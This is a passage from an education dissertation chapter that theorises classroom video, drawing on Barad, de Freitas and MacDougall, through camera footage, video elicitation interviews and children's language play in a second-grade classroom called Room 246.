agree that the camera, video, and humans are dependent on what each other can do and produce, even though not all scholars refer to the term ‘apparatus’ as Barad (2007) does. Furthermore, while not all scholars refer to the term ‘material’, across the approaches of video as a body and video *with* a human body there is the shared notion among much of this scholarship that working with digital video is a material rather than immaterial process, resonating with the digital as “matter”. That is, even though pixels cannot be held and seen by the human end-user, digital aspects of video *are* physically present in the machines we work with. Pixels, then, have a physical presence that can be considered beyond an esoteric ‘virtual’ since pixels change the digital video (see Allen-Robertson, 2015; Dabek, 2017; Pink, Ardévol, & Lanzeni, 2016; and Taffel, 2012 for discussion and insight on the relationship between material/immaterial in the fields of new media and anthropology). Given these similarities, the point of divergence across the scholarship brought to this chapter is the nature of the relationships between humans, video, cameras, and other players and partners in a classroom. How might they be ontologically entangled, as in the case of scholarship aligning to de Freitas (2015/2016) and Barad (2003/2007)? How might they be ontologically separate though still having a relationship (MacDougall, 2006; Pink et al., 2017; Sumartojo & Graves, 2019; Sumartojo & Pink, 2017)? **Video as a Body: Digital Participants, Researcher, Children** I begin with considering the many components comprising video as a body. Scholarship of this orientation would agree that what is considered ‘video’ is a much wider body of players than is often given credit to. According to scholars adopting a video *as* a body framework, what transpires is more than an agentic child or researcher pressing a button to achieve an intended result. For example, according to media studies scholar Taffel (2012), light and sound waves from Room 246 are focused through the lenses of video cameras onto a sensor within each camera. The sensor collects an electrical charge dependent on the amount of light coming into contact with each pixel, and then produces a voltage which ultimately composes the frames that make up a video. Simultaneously, sound waves are translated to an electrical signal, then a string of numbers representing the sound wave. The image of the video is comprised of a digital code such that its shape and image can be described through a mathematical function, suggesting image is not ‘what happened’, but what algorithms comprise it (Manovich, 2001). The audiovisual dataset I collected from Room 246 is stored electronically, which I then transferred to a 1 terabyte hard drive once I returned from the classroom. Once outside the classroom, this data was further manipulated with the display technology of my laptop and *Studio Code* software on my computer, all of which comprised the mix of how video clips were created to show to children, teachers, and their parents as part of video elicitation interviews. Why this matters is that moments in the classroom that we watch and that shape the narratives constructed in Room 246 of what language and engagement can be, are produced by more than children and research, but also the video. Aligning to Taffel (2012) and Manovich’s (2001) recognition of video as including digital participants along with researcher, children, audience, and more, are a number of empirical studies across fields of early childhood (literacy) studies (Ånggård, 2015; Canton & Hackett, 2019; Harwood & Collier, 2019; Murris & Babamia, 2018; Wargo, 2018) that emphasize digital aspects of video with children in mutual relationship with hardware. Other scholarship focuses on how the materiality of software, pixels, and strings of digital numbers are continually re-doing or un-doing the video produced (de Freitas, 2015; Wanono, 2014). Despite these different areas of focus, each of these studies broadly sympathize with de Freitas’ (2015/2016) call for reconceptualizing how we document bodies in classroom research working with video. de Freitas’ claim is that video in qualitative research should not be limited to the human body visible on video. de Freitas writes that when she refers to ‘body’ in a classroom being recorded, she attends not only to human bodies but body as assemblage that is “constantly assembling, disassembling, and reassembling” (2016, p.568). She argues that video research in education is dominated by a focus on the micro-gestures and movements made by the human body, the information this conveys, and how this might be learned from to replicate in order to facilitate learning in other educational contexts. Working with Deleuze’s (1989) concept of the time-image, de Freitas suggests that contemporary cinema suggest a “new kind of unrecognizable body…no longer contained within conventional organic boundaries, but is dispersed across a field of light or energy, an unthinking body without the usual sensory-motor skills” (2016, p.567). She draws on Deleuze, following Bergson, who theorize a “body without organs…the flow of intensity that contracts—provisionally—into a body” (2016, p.567). de Freitas thus suggests that video doesn’t portray a realistic or accurate visual of a particular activity, but rather constructs a reality in what comes together in the encounter of video. While Barad’s theorizations do not consider video specifically, resonant with that of de Freitas’ ‘body’ or corporeal is her concept of phenomena as material-discursive, the dynamic fusions of non-boundaried humans and non-human components, that as Gullion (2018) writes, “form, hang together, move, (and) dissolve” (p.113). What is significant about this perspective is that it encourages viewing the video created in Room 246 as more-than representing what we often consider real-life phenomena. Rather, it emphasizes the relations that contribute to what we might think we are seeing in a classroom. This is a very different way of recognizing video in research most prevalent in K-5 studies with emergent bi/multilinguals in classrooms. **Video with a Human Body: Human-to-Human Connections with Video** While still acknowledging aspects relating to the digital, another body of work is explicit about foregrounding the human in digital-video-human relationships. Across this work, despite acknowledging that “algorithmic and code-based aspects of the digital” (Sumartojo & Graves, 2019, p.6) are essential to theorizing digital encounters along human sensory perceptions and experiences of the event, empirical examples highlighting the digital are noticeably absent. For example, in the anthropological study on shared experiences of self-tracked bicycle commuting, Pink et al. (2017) acknowledge the significance of the technology of the Go Pro, even considering the GoPro one of many participants of watching and producing video. Yet they also make clear that their focus of inquiry centers on a human-to-human empathy, even though this empathy is made possible by watching and making video together. Thus, there is a strategic de-centering of the material characteristics of the Go Pro from their analysis. MacDougall’s concept of “corporeal image” (2006) is another way of conceptualizing video with a human body. This concept suggests that the filmmaker is embodied in the product of the film. That is, the film is the embodiment of the filmmaker’s gaze, their cultural ways of noticing, knowing, and consequently what they choose to film or edit into the film. McDougall writes: We see with our bodies, and any image we make carries the imprint of our bodies; that is to say, of our being as well as the meanings we intend to convey…We invest with it (record) desires and heightened responses. The images we ma[k]e become artifacts of this. They are, in a sense, mirrors of our bodies, replicating the whole of the body’s activity, with its physical movements, its shifting attention, and its conflicting impulses toward order and disorder…corporeal images are not just the images of other bodies; they are also images of the body behind the camera and its relations with the world (p.3) With this excerpt, MacDougall notes that it is the filmmaker’s human experiences in the world that have produced or shaped a gaze, cultural ways of noticing, and knowing. MacDougall’s concept suggests that the filmmaker, the child and researcher with camera in Room 246, have particular sedimented cultural ways of knowing and noticing, that will consequently form a particular kind of imprint on the video created. Therefore, the making image of video is the product of these different ways of seeing image as well as the image made by those filmed, with the intimate activities and involvements of human bodies. There is an assumption in the concept of corporeal image that the filmmaker, or researcher, has an agency that exists before and after the moment of filming. There is furthermore an assumption the filmmaker has a choice in filming and editing that does not consider the materiality of lenses or harnesses, a departure from the co-agency emphasized in approaches to video as a body in early childhood education (Ånggård, 2015; Canton & Hackett, 2019; Harwood & Collier, 2019; Murris & Babamia, 2018; Wargo, 2018), to be elaborated in the subsequent sections. What shapes the filming and editing to MacDougall (2006) is the filmmaker’s intended meaning and investments which seemingly pre-exists the moment of filming, at least to some extent. At first, what MacDougall considers human experiences embodied in image parallels Barad’s (2010/2013) agential realist perspective on memories intra-acting. Yet a very significant distinction is that what Barad calls memories can exist in relation to humans, but are not *of* the human, as is the focus of the concept of corporeal image, where experience and video produced are of and made by the filmmaker. To Barad (2010/2013), an agential realist perspective of memories is that they are constructed emergently with the video, still incorporating fragments of former intra-actions. The distinction with MacDougall’s (2006) concept of corporeal image is that memories are not brought into the video by only researcher and child. Furthermore, Barad’s work questions a pre-existing intention, as intra-actions occur within activity rather than pre-exist them. I return to how these theoretical distinctions and similarities are significant in the following section. **Video as an Apparatus of Knowledge Production: Producing Image, New Video, and Social Connections** In the following section, I suggest how the relations between players and partners in Room 246 produce the original video of the moments, create new video, social connections, and ultimately produce the stories of Room 246 that get told. To do so, I put the tensions of the theoretical ideas of video *as* and *with* a human body to work with examples of video created in Room 246 throughout the school year. **How Video of Room 246 is Produced** Analyzing the video after leaving Room 246, I noticed something striking: the same moments created by different cameras and videographers told very different stories. One example is from the Yut Nori moment depicted in Chapter five. With Clarisse filming with Go Pro, rather than foregrounding Clarisse, Xi Xi Lu, Madeline, or Patrick’s expressions, Clarisse’s arms and legs take center stage in the video footage alongside the gray classroom carpet, yut, circle, and skittles. (see figure 6.2). In contrast the footage on the right shows the expressions and bodies of children as foregrounded. **Figure 6.2.** Differing perspectives of yut nori moment. Different stories also become evident during a video elicitation interview of the Yut Nori moment. While children began answering questions about the Yut Nori moment itself, their attention waned. Holding the Go Pro and passing it between themselves, Clarisse, and Rachel, other classmates of Xi Xi Lu and Madeline, produced video containing several children’s expressions, including one of Xi Xi Lu, close up, twirling shots of stuffed animals, fruit gummies, and a clip-on feathered hair extension that were not in my video footage of the same moment. **Figure 6.3.** Different perspectives of video elicitation interview. Differing stories are also evident with video of the Writing Workshop moment with Google Translate elaborated in Chapter four with Madeline free-holding Go-Pro and myself with Kodak touch on tripod. Madeline with free-roving Go Pro changes the angle of the lens to produce video that shows close-ups of a blueberry muffin she is eating while writing. Without tripod or harness, the small mobile camera is frequently moved, focusing from moment-to-moment on different directions depicting images of me, when I popped up unexpectedly to adjust the camera, and her hand repeatedly gently crunching and running her fingers over the multiple Post-its the student teacher hands her with words in English so she can copy these words into her notebook. The camera also shifts to Xi Xi Lu, then tablet, student teacher, and lined paper (see figure 6.4 where the black circles emphasize the story of the moment from the perspective of Madeline-Go Pro). In figure 6.4, I diffract still shots by overlaying video from both cameras that were filmed the same moment, from different angles, with different lenses. *Figure 6.4.* Diffracted video from Madeline-Pro (in black circle) and Frances-Kodak Touch. How do these different perspectives of video matter to the knowledge created through this research? Examples from Room 246 with empirical scholarship orienting toward video as a body suggests that children’s movements, the material characteristics of camera lenses, harnesses, tripods, and software are *all* critical to the video produced that become the data we analyze in video elicitation interviews. Emphasized is also that it becomes impossible to attribute a perspective of video delineated by what can be attributed to a child or researcher versus what can be attributed to the material characteristics of camera and Room 246, as these work in tandem, simultaneously re-shaping the other to change the video produced. How do different notions of video provide a way to theorize what accounts for these different angles? I begin with insights from empirical work that aligns to Freitas’ (2015/2016) notion of video as a body. This work suggests that it is the relations between children and the material characteristics of lenses, harnesses, tripods, things in the classroom with children, and algorithms of software that produce the different stories told with video. **Video as a Body** Work in film studies (Favero, 2016) and studies in early childhood education suggest the size, shape, colors, and textures of materials were more visible with the Go Pro more than other cameras (Canton & Hackett, 2019; Harwood & Collier, 2019). Thus, I suggest in Room 246 it was the materiality of the zoomed-out, wide angle that the Go Pro lens produced compared to the closer-up images of the Kodak touch. Harwood and Collier (2019) note that such difference of lens matters because textures, movement, and sounds highlighted by the Go Pro lens make possible noticing the intimate link between children and their surroundings. Thus, during the Yut Nori moment, the Go Pro lens emphasized the geometric shape of the ‘O’, legs of pajama-clad children, the hollow sound of yut hitting the floor. Children’s faces are de-emphasized, and Xi Xi Lu, Madeline, and Patrick’s bodies appear further away than I remember from experiencing the moment (see Figure 6.2). As a researcher with Kodak touch, taking part in creating the video during the Yut Nori moment, I held the camera on a small flexible tripod. Rather than Clarisse with camera mobilized to her chest, I could rotate the camera, push it forward, back, zoom in by moving my arm further away, further facilitating a video appearing more zoomed-in in comparison to that of the Go Pro (see zoom difference in Figure 6.2, despite Clarisse and I filming sitting next to each other). With chest mount, Clarisse-Go Pro footage was fixed, changing direction or zooming in only if her body moved, or she directed the lens with her hands, pulling on the elastic of the harness upward, as she sometimes did to seemingly change the angle of the lens. Likewise, Canton and Hackett (2019) and Harwood and Collier (2019) suggest the film is also changed by the angle of the chest harness in that it de-emphasized children’s faces. Wearing the camera rather than holding it led Clarisse perhaps to squat, sitting on her heels rather than crisscrossed legs on the ground, in order to record at a higher position than if sitting with crisscrossed legs. Criss-crossed of the circle, I’m holding the camera lower, hand extended so as to watch the screen while filming. The cameras as changing our postures are similarly noted by Änggård, 2015; Wargo, 2018; and Murris and Babamia, 2018. What happened when the Go Pro harness was removed? Just as noted by Canton and Hackett (2019), when children removed chest-harness with Go Pros, the free-standing camera on the move created different behaviors in children, symbiotically changing the research and video. This occurred due to tilted camera angles created by the camera’s movement unobstructed by GoPro mounting straps and instead moved by children. The contrast of how harnesses, or lack thereof, influenced the video, is evident during the Yut Nori video elicitation interview. As can be seen by the still shots on the right, facial expressions of children are evident as they held the cameras to themselves and passed them around, speaking to the lens to address the camera and virtual audience directly, (see Figure 6.3). It was not just the cameras changing our body positions, but the cameras with other material characteristics present in the classroom (see also Murris and Babamia, 2018; and Wargo, 2018). For Clarisse with Go Pro (see Figure 6.2), for example, rather than soft carpet compelling her with camera to record, it may have been the plush polar fleece pajama top she was wearing to school that day that rested under the Go Pro harness. For Clarisse and Rachel during the video elicitation video, this might have been the rubbery, squishy fruit gummies, the silky long feather of the hair extension, or the plump polyfilled stuffed animal with hard gumball-sized eyes that dominated the content of the film (see figure 6.3, bottom left image). Yet work in early childhood studies suggests that during each of these moments, it is not only the material characteristics of the lens that creates different angles, but the relational agency that children and cameras have together (Ånggård, 2015; Kind, 2013; Magnusson, 2018; Murris & Babamia, 2018). In this vein, I suggest that during the Yut Nori moment, Clarisse’s tugging on the harness in order to morph the angle that the lens is recording cannot only be attributed to the material characteristics of the lens that creates different angles. Clarisse also works with the Go Pro, changing what it records, whether intentional or not. Anthropologist Wanono’s (2014) and de Freitas’ (2015) work suggests that the video we see, hear, and feel during video elicitation interviews also involve the intra-acting algorithms of QuickTime Player and software on my computer. As Wanono shows with her work, by changing the algorithms of the software of which video is viewed, the image and sound of video is radically changed to forms that appear as blurred patterns and indefinite morphed shapes. To Wanono and de Freitas, what comprises video can be continually adapted if the algorithm of the viewing and listening software is reassembled and “disassembled through distributed networks of digital becoming” (de Freitas, 2016, p.565). Emphasizing the adaptability of video, Manovich (2001) notes that media such as video is programmable in that the proportions of the image are changed by adapting the algorithms through which it is viewed. In a similar inquiry experimenting with classroom video data, de Freitas (2015) demonstrates how working with an experimental software application that differently reads the digital strings of numbers that comprise video data, she is able to analyze classroom video data through intensities of color and light variation. This work demonstrates how through implementing different software in a process of analysis, the same video can be analyzed noting forces dispersed in a classroom rather than its previous analysis of children’s micro-gestures. **Video with a Human Body** Diffracting the concept of corporeal image (MacDougall, 2006) with the previous section suggests it is not only the materiality of lenses, cameras, the harnesses, with children and researchers that produced different angles of video of moments, rendering language making ambiguous and contested. The concept of corporeal image brings a different and simultaneous story to be told of how researcher\(^6\) with Kodak touch created images that foregrounded children (see figures 6.2-6.4, contrasting researcher-camera footage), which is in tension with how I wrote about language making in chapters one and two. MacDougall’s (2006) concept of corporeal image suggests that it was me as researcher in-the-moment with the camera that desired to foreground the intercultural minglings and connections between children. Working with corporeal image, I suggest that similarly, children preferred to emphasize other aspects than peers, teacher, and researcher, as evident by the stuffed animals, gummy-infused images they created with Go Pro (see figure 6.3, child-camera footage). Furthermore, I suggest that as videographer, I have particular ways of knowing and noticing because of experiences as daughter, spouse, mother, granddaughter, immersed in crisscrossing stories of immigration and living transnationally that informs the recording. Working with the concept of corporeal image, as I record, these ways of noticing and knowing --- \(^6\) I focus this section on memories/experience with researcher and camera because I don’t have such evidence related to children filmmakers. During the Yut Nori, writer’s workshop, and video elicitation interviews addressed in this section, Madeline and Clarisse did not offer a rationale for filming in a particular way (or not), nor did they seem interested in this inquiry. It is not to say that their experiences did not figure into these moments. They undoubtedly did, yet these remain unknown. are activated, leading to producing a video that foregrounds the bodies of children. It could be noted I am intentionally shooting and editing the video because these experiences guide me to emphasize Xi Xi Lu in her classroom in a particular way. For example, working with the concept of corporeal image could suggest that through the camera lens, seeing Xi Xi Lu dressed up for pajama day, returning to her classroom after her pull-out ESL classroom, raising her hand, reaching for the yut (see Figure 6.2, right), provoked a heightened response in my human body holding Kodak touch. With corporeal image, it could be argued I was captivated, injecting into the video experiences of teaching, where I show one of my undergraduate classes archival photographic images and family photographs. One of these images I show is that of the Melting Pot ceremony at Henry Ford’s English school on July 4, 1917 (Collections of Henry Ford, 1917, https://www.thehenryford.org/collections-and-research/digital-collections/artifact/254569/). In this image there is a giant cauldron at the bottom of a stage labeled "The American Melting Pot", where factory workers wearing clothing supposed to resemble traditional clothing from their country of origin, descend into the pot from the stage, and emerge on the other side of the pot in a suit and tie, waving an American flag. Working with the concept of corporeal image, I might have injected other images and family stories might into the video. These are the image of my great grandmother, my namesake, and images of my paternal grandparents that I have only recently begun to show my undergraduate classes when teaching about immigration and assimilation. These relatives worked in factories in industrial towns in the Northeast U.S., sewing wedding dresses, zippers into coats, and welding sheet metal into ducts in factories, not un-like that of Ford’s workers. With the concept of corporeal image, when I see and hear Xi Xi Lu and tablet, where Xi Xi Lu seemingly hides at her place at the back table with student teacher while speaking to the Google Translate neural network, this noticing could be precipitated by experiences with the grandparents whose pictures work their way into my classroom. They spoke Polish, sang Polish hymns, and the only bread in their kitchen was rye bread from the local Polish bakery, yet growing up, their children did not become proficient in Polish. To my grandmother, it seemed important not to be hyphenated Americans. Polish in America was perhaps a marker of difference, perhaps a marker like the tablet to Xi Xi Lu. Further working with the notion of corporeal image, I gravitated toward the sounds of Xi Xi Lu and tablet because of the sounds of the Bengali children’s song *Baburam Sapure* that fill our car as Neel and I drive to school each morning near Oakville school. Neel refers to these sounds as “my music”, but insists we roll the windows up so no one in our majority-English town, that of Oakville school, will hear the Bengali sounds streaming from our car. Thus, these examples suggest how with the concept of corporeal image, researcher experiences, noticings, and attention could also been seen as producing a change to the direction of the lens. Furthermore, that such a changed lens direction led to a focus of the video being Xi Xi Lu, Madeline, and student teacher, in contrast to the skittles, rug, and legs with pajamas, that was prevalent throughout footage composed by Go Pro’s and Clarisse. Considering the concept of corporeal image, I claim that the video produced thus carries the imprint of researcher experiences as daughter, granddaughter, mother, and spouse. With corporeal image, if it weren’t for these experiences causing me to foreground children, new to a country and classroom, challenging, standing up, the lens would likely be projected elsewhere, producing different images. What MacDougall (2006) would call ‘experiences’ and Barad ‘memory’ both have in common that they posit many of the aspects that produce differences that are invisible but can be felt, just as they can also be seen in the video. That is, they cannot necessarily be seen in the video. What Barad’s (2010/2013) agential realist perspective to memories as intra-active adds to corporeal image is that what MacDougall considers human experiences, to Barad are not tied to a distinct identity of me as novice researcher, nor simultaneously identities of parent, granddaughter, and teacher. What Barad’s perspective of memory suggests is that the elements that shape the story that I write in this section are emergently created and stitched together in the story of the chapter with images of the melting pot, family members, and recollections of Xi Xi Lu in pajamas with yut—fragments of former intra-actions. Furthermore, the story I tell in this chapter is one that has and will change when I return to the story in a different moment, for different purposes and audiences. To Barad’s perspective of memories as intra-active, the image of Room 246 that I see when looking through the Kodak touch lens are like a hot oiled pan, producing an affective reaction with other narratives and images of memories that slosh around (great-grandmother, rye bread, melting pot), working *with* me, not *of* me. To Barad’s concept of memory as intra-active, seeing the image through the Kodak touch, these narratives and images splutter like the mustard seeds that pop when hitting the pan on my kitchen stove. Just as the mustard seeds that spray and overlap in different itinerant directions, narratives-images-memories of researcher enfolding with image through the Kodak touch lens create a collaging of image, memories, and the story told in this chapter of the video. How this matters to the knowledge making of the dissertation is working with different conceptualizations of how the video is produced, *also* leaves the process of what language making can be as multiple, contested, and up for grabs—one of the arguments of the dissertation. Theoretical and methodological perspectives of video as and with a human body together emphasize in just how many different directions language making in Room 246 could be seen, felt, and heard. **How Video Inspires New Video and Child-Researcher Connections** I return to the refrain of “没有化, lalala.” During video cued interviews throughout the year, as the original videos play from December 16 with “没有化, lalala” vibrating from the speakers of my computer, Xi Xi Lu and Madeline’s bodies are seemingly instinctively activated. Upon hearing “没有化, lalala” when re-watching the video, Xi Xi Lu and Madeline’s response often involved few words. Yet it evoked an embodied response, ways of acting that were different from being in the classroom. One time after watching the video, Xi Xi Lu skip down the hallway, creating yet another version of a song, attempting to post it to the blog (see Figure 6.5). On March 21, when Xi Xi Lu and Madeline meet a translator for the first time, Madeline gets her tablet and shows her the blog post with “没有化, lalala”, grabbing her stomach and closing her eyes as she laughs. In response to videos, there were new songs, a new dance, and new twirls (see Figure 6.5). My Kodak touch and I too were activated by the video and Xi Xi Lu and Madeline’s response. I too had an embodied response. I was silent, filming with Kodak touch. not sure how to react. *Figure 6.5. Responses to 没有化, lalala from three different video elicitation interviews.* During the video elicitation interviews such as those noted in the vignette above, language making incorporating remnants of previous intra-actions were felt by children’s bodies (Lenters, 2018; Sherbine, 2018; Ehret et al., 2016), as the science investigation was experienced anew as the original moment enters new intra-actions with focus group interviews several months later. In this section I trace how “没有化, lalala” carried across the filming of the entire school year, particularly those newly created iterations of song or movement as the original moment is played back for peers and translators with the play button on the tablet, or during video elicitation interviews. **Video as and with a human body** In considering these moments with “没有化, lalala”, in the following section I first work with the notion of video *with* a human body (MacDougall, 2006; Pink et al., 2017; Sumartojo & Graves, 2019) and Barad’s (2007/2010) notion of spacetime mattering to demonstrate how video affectively connected us to form a child-researcher connection while watching video elicitation interviews across disjunctures of spacetimes. Responding to the original video where 没有化, lalala is originally sung, and the subsequent iterations that follow throughout the school year, children and researcher could be said to experience a felt force (Barad, 2007) with the video that in turn produced more songs, and children-researcher connections in Room 246. Kind (2013) noted that during photo elicitation interviews, children were affected by the images, thus acting out new scenes and re-enacting events that relate to the original photographs/videos. Similarly, during video elicitation interviews, when Xi Xi Lu and Madeline created new iterations of songs and dances to “没有化, lalala” and I watched them with Kodak touch, recording, we created what Sumartojo and Pink consider a “moving forward” in knowledge and experience (p.430). This is not a duplication or repetition of December 12. Rather, in these acting out and responding to scenes, we fold, “没有化，lalala” 1.0 into “没有化，lalala” 2.0, 2.5, 3.0, each version different, each sweeping up bits and pieces of the new moment and former with it. This produces what I call in chapter five transglocalmatterings, a materialization comprised of multiple transglocal spaces, times, and human/non-human/more-than human comings together. Pink et al. (2017) note how watching video footage together creates empathy for differences of experiences through seeing the camera’s perspective, the filmmaker’s (recorder’s) perspective who may have directed the camera with the researcher’s experience. Likewise, during the video elicitation interviews I write about (see Figure 5.6), Xi Xi Lu, Madeline, and I see the moment of December 12 with the perspective of Xi Xi Lu’s iPad recording in this new dis/continuous moment. I with human translators and tablets ask their perspectives through questions and conversations spanning English and Chinese, pointings, and gestures. Working across transglocaitimematterings, Xi Xi Lu and Madeline hear my perspective in the new moment of the video elicitation interview of what might have happened in another moment. Perhaps by showing it to them suggests the moment is significant, and that the science investigation moment which is constructed by some teachers and parents as playing around in school is ‘okay’. This perhaps implies that Xi Xi Lu and Madeline might not be the novices they often see themselves as. Like Barad’s (2010/2013) agential realist notion of dis/continuous memories, the memories of the science investigation and schooling in China and the U.S. for Madeline and Xi Xi Lu, just as for me during the video elicitation interviews, were simultaneously being re-opened and fluid through new enfoldings. In the video elicitation interviews, children and I respond to the different perspectives of the camera lenses. Watching the video of the moment looked so different than experiencing the moment. Yet despite this different perspective, perhaps in these videos there is what Sumartojo and Pink (2017) call a ‘trace’, resonant with Barad’s enfolding, such that there is an element that remains in the video from a particular environmental, sensory, and affective configuration that might not be recognized in the moment of creating the video (Sumartojo and Pink (2017), but is realized anew in watching the video together. For example, the rush of the original moment, such as laughing, being together, knowing more than Patrick, tablet, blue text, bright screen, might not have been noticed during the original science investigation in December, but is when we watch it together again in March. Sumartojo and Pink’s (2017) work could suggest that in the watching of the video, this trace, or enfolding from the former moment as Barad would write, affects the human viewers (Sumartojo & Pink, 2017). I suggest it is in the video that these traces are felt as Madeline, Xi Xi Lu, camera and I respond to watching their play, forming a child-researcher connection that bridges differences of perspective, and how we are perceived in the classroom differently in relation to named languages, age, and race. Recalling Barad’s notion of forces felt, I suggest what Sumartojo and Pink (2017) consider ‘traces’ are affective, producing child-researcher connections in Room 246 because of the dis/continuity of these moments felt together. As these examples suggest, watching the video during the dis/continuous video elicitation interview of “没有化 , lalala”, Xi Xi Lu, Madeline, myself, and camera are affected by watching the video, forming connections with each other through entertaining different perspectives. Why this matters is that this aligns with an argument made throughout the dissertation that affective connections change opportunities to engage. Through our response to the videos, we in turn change the video footage over the course of the school year, creating additional versions of “没有化 , lalala” (figure 6.5). Furthermore, the videos across the school year upon which the analysis is based brings together disjunctions of space, time, and matter, which render meaning being more than communication, and often unclear. v Social Connections and Language Play I was surprised by a video elicitation interview at the end of the school year on Xi Xi Lu’s last day as part of Room 246. She would return to China the following day. After watching the videos, second-graders initially responded to questions about the video itself as might be expected. Yet what occurred next was not expected. Children began to make up gibberish-like languages together, experimenting with Google Translate in verbal languages that no children commonly shared. This process of play with children, Google Translate, tablets, and video recorded by peers and tablets produces another example of toggling, similar yet different to chapter four. In this new way of toggling, as the tablet speaks words in German, children make up gibberish-like languages with each other and tablet, speaking to Google Translate. They pause, waiting for the response from Google Translate. It seems they hope the neural network will understand and then translate something in response. Yet information through these words is not being conveyed. No one understands the meaning of the words in this emergent gibberish play (see Figure 6.6). Figure 6.6. Social connections made with emergent gibberish-like play with Google Translate Neural Network, and video cameras on tablets. **Video as a Body** How did this language intra-play come about? Perhaps in this moment, affected by the video of Yut Nori, the traces of ambiguity over marks on sticks, and not understanding the meaning of these words, language not being understood was *not* contested as it had been in other moments. Perhaps it was the affective forces of Xi Xi Lu’s last day, twisted forces of spaces and times as the moments being watched were dis/continuous. For example, Room 246 from the video children watched was different than Room 246 at the time of watching the video. In the process of watching the video, these two times and spaces meshed with each other. Perhaps it was from these dis/continuous forces of then second-graders/now-almost third graders, and the dis/location of Xi Xi Lu now in Room 246/soon to be in China. Perhaps it was as Änggård (2015) found, that child-to-child encounters were facilitated by materiality of hardware. In this case children recorded each other’s play with camera application on tablet. In Änggård’s study, cameras spurred social activity, acting as a bridge to social opportunities between children. For example, the pointing the object of the camera at peers became a way of greeting or attending to other children, just as running to take pictures of children were critical to a game of tag. Ånggård’s research shows how taking pictures and looking at pictures together also created what she calls “a way of creating affinity” (p.11), resonant with what I call a social connection. In this moment of language making in Room 246, the creation of new video was perhaps propelled as classmates filmed each other engaging in this language play, propelling Xi Xi Lu, Madeline, and peers to play as if a performance. The showing of hardware, cameras and tablets, focusing the camera on peers, and finger tapping with Google Translate application was thus a way of noticing and playing. What is significant about this movement is not the creation of gibberish language play, but rather what comes of it. What is productive about this affecting toggling, back and forth with tablet, translations in German, Spanish, Irish, English with Google Translate neural network and camera, is that a social connection between peers in a classroom is formed, as noted by Ånggård (2015) and Wargo (2018). This social connection between Xi Xi Lu, Madeline and other peers in their classroom was significant to them. Xi Xi Lu and Madeline noted wanting to be friends with more than just each other, but connecting with other peers unless an assigned partner often didn’t happen when working in English. In summary, examples of how video shapes the knowledge making of the dissertation are the following. The argument that multiple iterations of language making and the repertoires associated with these can seem as ambiguous is directly related video creating different angles and simultaneous stories being told such that there is never one narrative. The contrasts between different angles of video and what is identified through speaking and visually with video keeps open what language and engagement can be. The argument that there are child and researcher connections and peer connections and language play are directly related to the video from different times and space being brought together and producing affective connections in video elicitation interviews. Furthermore, the argument that communication is unclear is related to working across times and spaces. **What Video in Room 246 Produces: The Tensions and Agency of Multiple Perspectives** The next section describes tensions in how the apparatus of watching and creating video both produces difference and makes possible noticing difference in Room 246. In this section, I return to the image of diffraction with pencil shavings and rocks (see Figure 6.7). Just as in chapter one, I consider the tensions as rocks jutting out: the contrast of how children and I without the camera (verbally and in writing) versus *with* the camera report seeing, hearing, feeling language making in Room 246; tensions of losing a verbal/written language and the risk of losing a way of connecting with family and communities; and the risk of assimilating a human body. I argue these tensions propel ways of engaging, including those that I can and cannot recognize as productive in this moment. Rocks Jutting Out: Contrasts in Words versus Video to Conceptualize Language in Room 246 Recall that during the science investigation when hearing 没有化, lalala and looking at the blog post, children were invested in attending to language as English and Mandarin Chinese. For example, “That’s Chinese! That’s Chinese! That’s Chinese”, Madeline and Xi Xi Lu’s English-dominant peers noted. In contrast, I report being interested in the language of the refrain differently, such as what the refrain did at Madeline’s dinner table with chopsticks, fingers, hands, food. The tension is that with video, Xi Xi Lu, Madeline, and I tell a contrary story as to what language is. For example, recall during the video elicitation interview what children with camera documented as the language making of the moment were my computer, tablet screens, and a wider variety of material objects that were not present in my video such as stuffed animals, books, and food. Whereas with the video camera I produced images zoomed-in on children, their bodies and facial expressions. As these examples suggest, our human-camera noticing produced something different than we produced without them (MacDougall, 2006). Thus there is a disjuncture in how children and I without the camera (verbally and in writing) versus with the camera report seeing, hearing, feeling language making in Room 246. Therefore, the research apparatus of video in this dissertation makes it possible to recognize language in the classroom differently than with words. The language making that follows is difficult to pin down as we seem to not give a consistent answer across words and video, complicating a project of educational research where readers may expect more clear-cut findings. Rocks Jutting out: The Risk of Losing the Boundaries of Human Bodies A further tension, or rock jutting out, is the risk of losing the boundaries of human bodies, when bodies of Xi Xi Lu Madeline, and Patrick in an English-dominant American classroom may be at risk of assimilation. Working with the concept of corporeal image, I suggest that during the Yut Nori moment, given particular ways of knowing and experiences, I perhaps unknowingly foreground human bodies in the viewer of Kodak touch. I further suggest front and center images of children stem from experiences whereas educator I am critical of an assimilating human body physically jumping into what appears a paper mâché cauldron, the metaphorical melting pot at Henry Ford’s factory. In doing so, I create an apparatus that tells a particular story. Furthermore, I suggest such images are produced from experiences negotiating the immigration of multiple generations of my family from Poland, Ireland, and India. With the concept of corporeal image, human bodies as entities are at risk, and I empathetically respond to such a risk with the camera. Yet such an analysis is in tension with the boundaryless human and non-human body of what comprises video for de Freitas (2016) and Barad’s notion of intra-active bodies where human and non-human bodies have no boundaries. The tension is that in engaging multiple concepts, there appears to be a dual risk. There is a risk in losing attention to the relations between players and partners in the classroom during the Yut Nori moment and how this provides additional ways to conceptualize engagement, if we like MacDougall (2006) view components in a classroom as largely separate entities. Yet if viewing the same Yut Nori moment with de Freitas’ conceptualization of video and Barad’s concept of phenomenon—an assembling, reassembling, and disassembling of what comprises a body—such melting begins to resemble assimilation, a process of boundary-less melting suggested by the melting pot image in Henry Ford’s factory. Without children’s bodies and faces foregrounded in the images I create with Kodak touch and show in my undergraduate classroom—Xi Xi Lu dressed up for pajama day, Henry Ford’s immigrant workers celebrating assimilation by descending into a melting pot, and images of my family—there is arguably a process of forced assimilation, where a destroying of human boundaries are imposed. The tension is that through writing stories of fused relations between players and partners, am I as researcher cooking up a bubbling cauldron like Ford in 1917, promoting a boundaryless assimilation, yet of a different variety? Are the intra-active stories of this dissertation materializing a paper mâchéing of words and images that create a cauldron of melting like in Ford’s factory, misportraying players and partners as having equal ways of moving and playing in the language making of Room 246? **Rocks Jutting Out: The Risk of De-Centering Written/Verbal Means of Connecting Across Families and Communities** A third tension is that as language educator, I am captivated by language but simultaneously wanting to push beyond what language is often conceived to be in an academic and professional field, centered on verbal and writing forms and meaning that signifies and symbolizes. Learning to be a researcher and parent, with the camera and by working with the video, I am a player and partner in making language something else. Yet by the impulse to not necessarily foreground verbal and written languages and communicating meaning, there is the risk of losing one means of connecting in a family and across communities. With my Polish-American family, one written/verbal means of connecting and communicating was lost when this 